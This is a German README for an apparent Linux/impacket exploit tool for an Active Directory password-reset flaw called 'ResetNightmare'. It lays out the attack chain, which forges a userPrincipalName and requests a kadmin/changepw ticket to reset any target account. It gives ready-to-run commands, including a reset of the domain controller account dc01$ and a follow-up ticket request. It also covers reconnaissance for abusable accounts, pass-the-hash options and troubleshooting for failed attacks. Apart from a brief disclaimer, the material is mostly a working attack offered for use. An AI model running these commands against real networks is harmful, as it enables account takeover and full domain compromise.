
CVE-2026-27912 (ResetNightmare) — Linux/impacket-Port des Invoke-ResetNightmare-PoC von Semperis Community
Linux-/impacket-Tooling für CVE-2026-27912 ("ResetNightmare"). Setzt das Passwort eines Active-Directory-Zielkontos zurück, indem ein kadmin/changepw-TGT für einen NT_ENTERPRISE-Principal angefordert wird, dessen Name der sAMAccountName des Ziels ist, unter Verwendung eines Kontos (UPNUser), auf dem wir eine gefälschte userPrincipalName schreiben können.
Python-Port des Semperis Community Invoke-ResetNightmare-PowerShell-Tools (siehe Danksagungen).
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Dieses Tool verändert echte Active-Directory-Anmeldeinformationen und kann Konten sperren.
GenericAll gewähren, das Passwort setzen und das Konto aktivieren.sAMAccountName des Ziels auflösen.UPNUser.userPrincipalName = <targetSAN> setzen (die gefälschte UPN).NT_ENTERPRISE '<targetSAN>' für kadmin/changepw — der KDC mappt die Enterprise-UPN auf das Ziel und stellt ein Passwortänderungs-TGT dafür aus.python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Die Anmeldedaten des Operators sind das erste Positionsargument: [domain/]username[:password]. Jedes Passwort kann weggelassen werden; Sie werden dann zur Eingabe aufgefordert.
Aufklärung – was kann dieses Konto missbrauchen? Meldet Konten, auf denen Sie eine UPN schreiben können, OUs, in denen Sie Objekte erstellen können, sowie die MachineAccountQuota, mit vorgeschlagenen Befehlen:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Ziel zurücksetzen mit einem Konto, auf dem Sie eine UPN schreiben können:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Das UPN-Konto zuerst erstellen (benötigt Create Child auf der OU und LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Fügen Sie -debug für ausführliche AS-REQ-/LDAP-/kpasswd-Protokollierung hinzu.
--create-new-path-Fehler:
Hinweise:
unicodePwd-Schreibvorgänge nur über TLS, daher benötigt --create-new-path dies. Verwenden Sie --no-ssl nur für reine Lese-/UPN-Pfade.--find meldet nur Allow-ACEs, die Ihnen oder Ihren Gruppen gewährt wurden (plus Objektbesitz und MachineAccountQuota); Deny-ACEs und domänenübergreifende Mitgliedschaften werden nicht vollständig ausgewertet. Ein leeres Ergebnis ist kein Beweis dafür, dass es keinen Pfad gibt — verifizieren Sie vor der Verwendung.Das Tool gibt einen Folgebefehl aus, um ein nutzbares Ticket als das Ziel zu erhalten:
getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'
Invoke-ResetNightmare, das dieses Projekt portiert.ldaptypes-Primitive.Unabhängiger Community-Port; nicht mit Semperis verbunden oder von Semperis unterstützt.
MIT © 2026 mihat2.
| Flag | Bedeutung |
|---|
<positional> | Operator-Anmeldedaten: [domain/]username[:password] |
--target-account | sAMAccountName, der zurückgesetzt werden soll (Computerkonten enden mit $) |
--target-new-password | Neues Passwort, das auf dem Ziel gesetzt werden soll |
--upn-user | Konto, auf dem die gefälschte UPN geschrieben werden soll (oder mit --create-new-path erstellen) |
--upn-user-password | Klartext-Passwort von --upn-user |
--computer | --upn-user als Computerkonto behandeln |
--create-new-path <DN> | OU/Container, in dem --upn-user zuerst erstellt werden soll (benötigt LDAPS) |
--find | Aufklärung: missbrauchbare Konten/OUs + vorgeschlagene Befehle melden, dann beenden |
--list-ous | OUs/Container auflisten und beenden (ein gültiges --create-new-path wählen) |
--aes-key <hex> | AES-Schlüssel von --upn-user für die AS-REQ statt eines Passworts |
--upn-user-hash <NT> | NT-Hash (oder LM:NT) von --upn-user für die AS-REQ statt eines Passworts |
-k, --kerberos | Kerberos-LDAP-Bind (SASL/GSSAPI) (verwendet KRB5CCNAME) |
-H LM:NT | Pass-the-Hash-LDAP-Bind (NTLM) |
--no-pass | Nicht nach einem Passwort fragen (-k / KRB5CCNAME verwenden) |
--dc-host | DC-Hostname/FQDN (für Kerberos-SPNs) |
--dc-ip | DC-IP-Adresse |
--no-ssl | Unverschlüsseltes LDAP/389 (inkompatibel mit --create-new-path) |
--supported-encryption | Bevorzugter Verschlüsselungstyp, nur informativ (Standard aes256) |
-debug | Ausführliche Protokollierung |
| Symptom | Ursache | Lösung |
|---|
result 50, insufficientAccessRights | Die OU existiert, aber Sie haben kein Create Child-Recht darauf. | Verwenden Sie eine OU, in die Sie schreiben können (--list-ous / --find), oder lassen Sie --create-new-path weg und missbrauchen Sie ein vorhandenes Konto über --upn-user. |
result 32, noSuchObject — best match: DC=corp,DC=local | Die übergeordnete Kette der DN existiert nicht (teilweise/geratene DN). | Listen Sie mit --list-ous auf und fügen Sie die vollständige verschachtelte DN ein. OUs sind verschachtelt; ein Name allein ist nicht ihr Pfad. |
result 53, unwillingToPerform beim Passwort-Schritt | unicodePwd-Schreiben über einen Nicht-TLS-Kanal oder ein im Vergleich zur Richtlinie zu schwaches Passwort. | LDAPS beibehalten (nicht --no-ssl übergeben); ein konformes Passwort verwenden. |